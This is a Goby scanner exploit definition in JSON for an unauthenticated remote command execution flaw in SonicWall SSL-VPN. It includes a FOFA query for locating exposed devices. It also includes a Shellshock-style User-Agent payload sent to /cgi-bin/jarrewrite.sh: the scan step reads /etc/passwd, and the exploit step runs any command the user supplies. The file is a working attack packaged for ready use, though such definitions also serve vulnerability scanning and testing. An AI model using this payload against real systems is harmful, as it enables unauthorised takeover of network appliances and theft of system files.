{
  "Name": "SonicWall SSL-VPN Unauthorized RCE",
  "Description": "There are vulnerabilities in the historical version of SonicWall SSL-VPN. Remote attackers use CGI programs to handle logic vulnerabilities and construct malicious User-Agents, which can cause remote arbitrary command execution and gain host control authority.",
  "Product": "SonicWALL-SSL-VPN",
  "Homepage": "https://www.sonicwall.com/",
  "DisclosureDate": "2021-01-26",
  "Author": "itardc@163.com",
  "FofaQuery": "app=\"SonicWALL-SSL-VPN\"",
  "GobyQuery": "app=\"SonicWALL-SSL-VPN\"",
  "Level": "3",
  "Impact": "Which can cause remote arbitrary command execution and gain host control authority.",
  "GifAddress": " https://raw.githubusercontent.com/gobysec/GobyVuls/master/SonicWall/SonicWall_SSL-VPN_RCE/SonicWall_SSL-VPN_RCE.gif",
  "Recommendation": "Upgrade.",
  "References": [
    "https://github.com/EdgeSecurityTeam/Vulnerability/blob/main/SonicWall%20SSL-VPN%20%E6%9C%AA%E6%8E%88%E6%9D%83RCE%E6%BC%8F%E6%B4%9E.md"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "whoami"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "header": {"User-Agent": "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'"},
        "uri": "/cgi-bin/jarrewrite.sh"
      },
      "ResponseTest": {
        "checks": [
          {
            "bz": "",
            "operation": "==",
            "type": "item",
            "value": "200",
            "variable": "$code"
          },
          {
            "bz": "",
            "operation": "contains",
            "type": "item",
            "value": "root:",
            "variable": "$body"
          }
        ],
        "operation": "AND",
        "type": "group"
      }
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "data": "",
        "data_type": "text",
        "follow_redirect": true,
        "method": "GET",
        "header": {"User-Agent": "() { :; }; echo ; /bin/bash -c '{{{cmd}}}'"},
        "uri": "/cgi-bin/jarrewrite.sh"
      },
      "SetVariable": [
        "output|lastbody",
        "output|output|removeline|-1",
        "output|output|removeline|-1"
      ]
    }
  ],
  "Tags": ["rce"],
  "CVEIDs": null,
  "CVSSScore": "9.3",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": ["SonicWALL-SSL-VPN"]
  }
}